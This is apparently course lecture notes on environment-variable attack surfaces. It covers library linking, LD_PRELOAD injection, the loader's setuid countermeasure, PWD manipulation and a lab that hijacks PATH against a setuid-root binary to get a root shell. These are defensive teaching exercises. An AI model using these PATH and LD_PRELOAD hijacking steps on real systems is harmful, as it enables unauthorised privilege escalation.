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## Attack surface caused by environment variables
<figure
>
<picture>
<!-- Auto scaling with imagemagick -->
<!--
See https://www.debugbear.com/blog/responsive-images#w-descriptors-and-the-sizes-attribute and
https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images for info on defining 'sizes' for responsive images
-->
<source
class="responsive-img-srcset"
srcset="/assets/img/courses/csc302/env/attack_surface-480.webp 480w,/assets/img/courses/csc302/env/attack_surface-800.webp 800w,/assets/img/courses/csc302/env/attack_surface-1400.webp 1400w,"
type="image/webp"
sizes="95vw"
>
<img
src="/assets/img/courses/csc302/env/attack_surface.png"
width="50%"
height="auto"
alt="Attack surface caused by environment variables"
data-zoomable
loading="lazy"
onerror="this.onerror=null; $('.responsive-img-srcset').remove();"
>
</picture>
</figure>
- Linking finds the external library code referenced in the
program and links the code to the program (think import in Java).
- Linking can be done when a program is compiled
- Static linking
- Requires a lot of memory
- Compiled external functions are static and cannot be updated/patched
~~~bash
gcc -o my_envp my_envp.c
gcc -static -o my_envp_static my_envp.c
ls -lh my_envp*
~~~
- Linking can be done on the fly
- External functions are linked at run time, called `shared libraries`.
- `.so` on Unix system, `.dll` on Windows system
- `ldd` can be used to see what shared libraries a program depends on.
~~~bash
ldd my_envp_static
ldd my_envp
~~~
- Part of what is being executed is undecided during compilation time, when
the developer has full control.
- Instead, the binaries rely on linked libraries, which are determined during
runtime, under users' control.
- Examples: **LD_PRELOAD** and **LD_LIBRARY_PATH**
- During the linking stage, the Linux system search for library
functions from default locations.
- These locations are determined via **LD_PRELOAD** and **LD_LIBRARY_PATH**
~~~bash
echo $LD_PRELOAD
echo $LD_LIBRARY_PATH
cp /local/repository/setup_scripts/software/env/linking.c .
gcc -o linking linking.c
./linking
cp /local/repository/setup_scripts/software/env/sleep.c .
gcc -c sleep.c
gcc -shared -o libmylib.so.1.0.1 sleep.o
export LD_PRELOAD=./libmylib.so.1.0.1
echo $LD_PRELOAD
./linking
export LD_PRELOAD=""
./linking
~~~
- Linux system libraries, `ld.so` or `ld-linux.so`, implement a countermeasure, which
ignores **LD_PRELOAD** and **LD_LIBRARY_PATH** when there is a difference in a process' real
and effective user IDs or group IDs.
~~~bash
cp $(which env) myenv
export LD_PRELOAD=./libmylib.so.1.0.1
export LD_LIBRARY_PATH=.
export LD_MYOWN="my own EV"
env
env | grep LD_
myenv | grep LD_
sudo chown root myenv
sudo chmod 4755 myenv
myenv | grep LD_
~~~
- `PATH` environment variable
~~~bash
echo $PATH
~~~
- Many system commands are placed in `/usr/bin` or `/bin`, which are
mapped in `PATH`
~~~bash
cp /local/repository/setup_scripts/software/env/vul.c .
gcc -o vul vul.c
./vul
cp /local/repository/setup_scripts/software/env/cal.c .
gcc -o cal cal.c
sudo chown root vul
sudo chmod 4755 vul
export PATH=.:$PATH
vul
$ id
$ exit
~~~
- Open a new terminator shell to reset `PATH` to default.
- What happens when you switch the order of the new `PATH`
export for the previous exercise?
- Why?
~~~bash
cp /local/repository/setup_scripts/software/env/vul.c .
gcc -o vul vul.c
./vul
cp /local/repository/setup_scripts/software/env/cal.c .
gcc -o cal cal.c
sudo chown root vul
sudo chmod 4755 vul
export PATH=$PATH:.
vul
$ id
$ exit
~~~
- Happens when application uses environment variables,
which can be manipulated.
~~~bash
cp /local/repository/setup_scripts/software/env/pwd.c .
echo $PWD
gcc -o pwd pwd.c
./pwd
cd /tmp
~/pwd
PWD=randomdir
~/pwd
~~~
<figure
>
<picture>
<!-- Auto scaling with imagemagick -->
<!--
See https://www.debugbear.com/blog/responsive-images#w-descriptors-and-the-sizes-attribute and
https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images for info on defining 'sizes' for responsive images
-->
<source
class="responsive-img-srcset"
srcset="/assets/img/courses/csc302/env/service_based-480.webp 480w,/assets/img/courses/csc302/env/service_based-800.webp 800w,/assets/img/courses/csc302/env/service_based-1400.webp 1400w,"
type="image/webp"
sizes="95vw"
>
<img
src="/assets/img/courses/csc302/env/service_based.png"
width="50%"
height="auto"
alt="Service-based approach"
data-zoomable
loading="lazy"
onerror="this.onerror=null; $('.responsive-img-srcset').remove();"
>
</picture>
</figure>
|
